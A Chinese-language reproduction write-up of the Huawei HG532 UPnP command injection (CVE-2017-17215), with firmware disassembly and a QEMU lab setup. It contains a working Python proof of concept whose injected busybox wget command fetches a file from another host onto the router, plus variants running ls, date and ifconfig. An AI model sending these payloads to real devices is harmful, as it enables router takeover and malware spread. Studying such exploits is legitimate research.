CVE-2017-17215-HG532命令注入漏洞
漏洞介绍
华为HG532的upnp存在命令注入漏洞,在端口37215发送数据包可以造成攻击。
cve介绍: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-17215 固件下载地址: https://club.huawei.com/forum.php?mod=attachment&aid=Mzc2OTkzMXxkMDc5NTQxMXwxNTY4NDM5ODQwfDEzNDQ4NDg3NHw2NDA1NzQ0
漏洞分析
poc:
import requests
headers = {
"Authorization": "Digest username=dslf-config, realm=HuaweiHomeGateway, nonce=88645cefb1f9ede0e336e3569d75ee30, uri=/ctrlt/DeviceUpgrade_1, response=3612f843a42db38f48f59d2a3597e19c, algorithm=MD5, qop=auth, nc=00000001, cnonce=248d1a2560100669"
}
data = '''<?xml version="1.0" ?>
<s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/">
<s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1">
<NewStatusURL>;/bin/busybox wget -g 172.16.16.17 -l /tmp/1 -r /1;</NewStatusURL>
<NewDownloadURL>HUAWEIUPNP</NewDownloadURL>
</u:Upgrade>
</s:Body>
</s:Envelope>
'''
requests.post('http://172.16.16.21:37215/ctrlt/DeviceUpgrade_1',headers=headers,data=data)
从poc的data里面可以看到
LOAD:00407B20 lui $gp, 0x43
LOAD:00407B24 addiu $sp, -0x438
LOAD:00407B28 li $gp, 0x42EB60
LOAD:00407B2C sw $ra, 0x434($sp)
LOAD:00407B30 sw $s1, 0x430($sp)
LOAD:00407B34 sw $s0, 0x42C($sp)
LOAD:00407B38 sw $gp, 0x18($sp)
LOAD:00407B3C la $t9, ATP_XML_GetChildNodeByName
LOAD:00407B40 move $s0, $a0
LOAD:00407B44 lw $a0, 0x2C($a0)
LOAD:00407B48 la $a1, aNewdownloadurl # "NewDownloadURL"
LOAD:00407B50 move $a2, $zero
LOAD:00407B54 jalr $t9 ; ATP_XML_GetChildNodeByName
LOAD:00407B58 addiu $a3, $sp, 0x20
LOAD:00407B5C lw $gp, 0x18($sp)
LOAD:00407B60 bnez $v0, loc_407BE8
LOAD:00407B64 move $s1, $v0
LOAD:00407B68 lw $v0, 0x20($sp)
LOAD:00407B6C nop
LOAD:00407B70 beqz $v0, loc_407BE8
LOAD:00407B74 lui $a1, 0x41
LOAD:00407B78 la $t9, ATP_XML_GetChildNodeByName
LOAD:00407B7C lw $a0, 0x2C($s0)
LOAD:00407B80 la $a1, aNewstatusurl # "NewStatusURL"
LOAD:00407B84 move $a2, $zero
LOAD:00407B88 jalr $t9 ; ATP_XML_GetChildNodeByName
LOAD:00407B8C addiu $a3, $sp, 0x24
LOAD:00407B90 lw $gp, 0x18($sp)
LOAD:00407B94 bnez $v0, loc_407BE8
LOAD:00407B98 move $s1, $v0
LOAD:00407B9C lw $v0, 0x24($sp)
LOAD:00407BA0 nop
LOAD:00407BA4 beqz $v0, loc_407BE8
LOAD:00407BA8 addiu $s0, $sp, 0x28
LOAD:00407BAC la $t9, snprintf
LOAD:00407BB0 lw $a3, 0x20($sp)
LOAD:00407BB4 la $a2, aUpgGUST1Firmwa # "upg -g -U %s -t '1 Firmware Upgrade Ima"...
LOAD:00407BBC move $a0, $s0
LOAD:00407BC0 li $a1, 0x400
LOAD:00407BC4 jalr $t9 ; snprintf
LOAD:00407BC8 sw $v0, 0x10($sp)
LOAD:00407BCC lw $gp, 0x18($sp)
LOAD:00407BD0 nop
LOAD:00407BD4 la $t9, system
LOAD:00407BD8 nop
LOAD:00407BDC jalr $t9 ; system
LOAD:00407BE0 move $a0, $s0
LOAD:00407BE4 lw $gp, 0x18($sp)
分析一下这段代码,前面主要是调用了ATP_XML_GetChildNodeByName这个函数寻找”NewDownloadURL”和”NewStatusURL”的节头。寻找的”NewDownloadURL”的结果保存在$sp+0x20中,然后调用了snprintf。
snprintf函数介绍:snprintf(),函数原型为int snprintf(char *str, size_t size, const char *format, …)。将可变参数 “…” 按照format的格式格式化为字符串,然后再将其拷贝至str中。
看一下snprintf的几个参数,第一个参数是$s0,从上面可以看到s0为$sp+0x28也就是复制的地址,第二个是长度为0x400,第三个是格式化参数”upg -g -U %s -t ‘1 Firmware Upgrade Image’ -c upnp -r %s -d -“,最后一个就是前面”NewDownloadURL”的节点。这里也就是把”NewDownloadURL”节点的值传到$sp+0x28的位置。
LOAD:00407BAC la $t9, snprintf
LOAD:00407BB0 lw $a3, 0x20($sp)
LOAD:00407BB4 la $a2, aUpgGUST1Firmwa #"upg -g -U %s -t '1 Firmware Upgrade Image' -c upnp -r %s -d -"
LOAD:00407BBC move $a0, $s0
LOAD:00407BC0 li $a1, 0x400
LOAD:00407BC4 jalr $t9 ; snprintf
LOAD:00407BC8 sw $v0, 0x10($sp)
之后紧接着就跟着一个system,参数为$s0也就是前面拷贝的节点信息,这里没有做任何的过滤,所以完全可以达到命令注入的目的。。
LOAD:00407BD4 la $t9, system
LOAD:00407BD8 nop
LOAD:00407BDC jalr $t9 ; system
LOAD:00407BE0 move $a0, $s0
环境搭建
先下载qemu-mips的虚拟机,只需要下在这两个文件就可以了,下载地址:
https://people.debian.org/~aurel32/qemu/mips/,然后写一个脚本进行运行。
直接运行,帐号密码都是root,之后进行网络配置。
这里在处理qemu虚拟机网络配置的时候出现了点问题,最开始是按照网上一些教程进行配置,配置了eth1之后发现并没出现ip地址。
既然不能让它自己出现,那只有我们来给了
ifconfig eth1 10.10.10.2/24
然后就可以在本机上用ssh进行连接虚拟机。
这个功能在这里对我们没什么用,接下来主要是把固件提取出来的文件拷贝到虚拟机中。
进入目录之后就可以用chroot . sh拿到一个shell。
漏洞复现
运行upnp,但发现好像没什么效果,查看进程也没有出现。
于是怀疑是不是还有别的进程需要运行,想到该漏洞发现的端口号为37215,于是查找打开这个端口的进程。发现虚拟机里没有grep,那只能到本机里面去找,找到了mic这个文件。
在虚拟机里面尝试运行它。
发现可以运行,对前面的poc进行修改,在
import requests
headers = {
"Authorization": "Digest username=dslf-config, realm=HuaweiHomeGateway, nonce=88645cefb1f9ede0e336e3569d75ee30, uri=/ctrlt/DeviceUpgrade_1, response=3612f843a42db38f48f59d2a3597e19c, algorithm=MD5, qop=auth, nc=00000001, cnonce=248d1a2560100669"
}
data = '''<?xml version="1.0" ?>
<s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/">
<s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1">
<NewStatusURL>;ls;date;</NewStatusURL>
<NewDownloadURL>HUAWEIUPNP</NewDownloadURL>
</u:Upgrade>
</s:Body>
</s:Envelope>
'''
requests.post('http://10.10.10.2:37215/ctrlt/DeviceUpgrade_1',headers=headers,data=data)
在本机运行poc
<NewStatusURL>;ls;date;</NewStatusURL>
<NewStatusURL>;ifconfig;</NewStatusURL>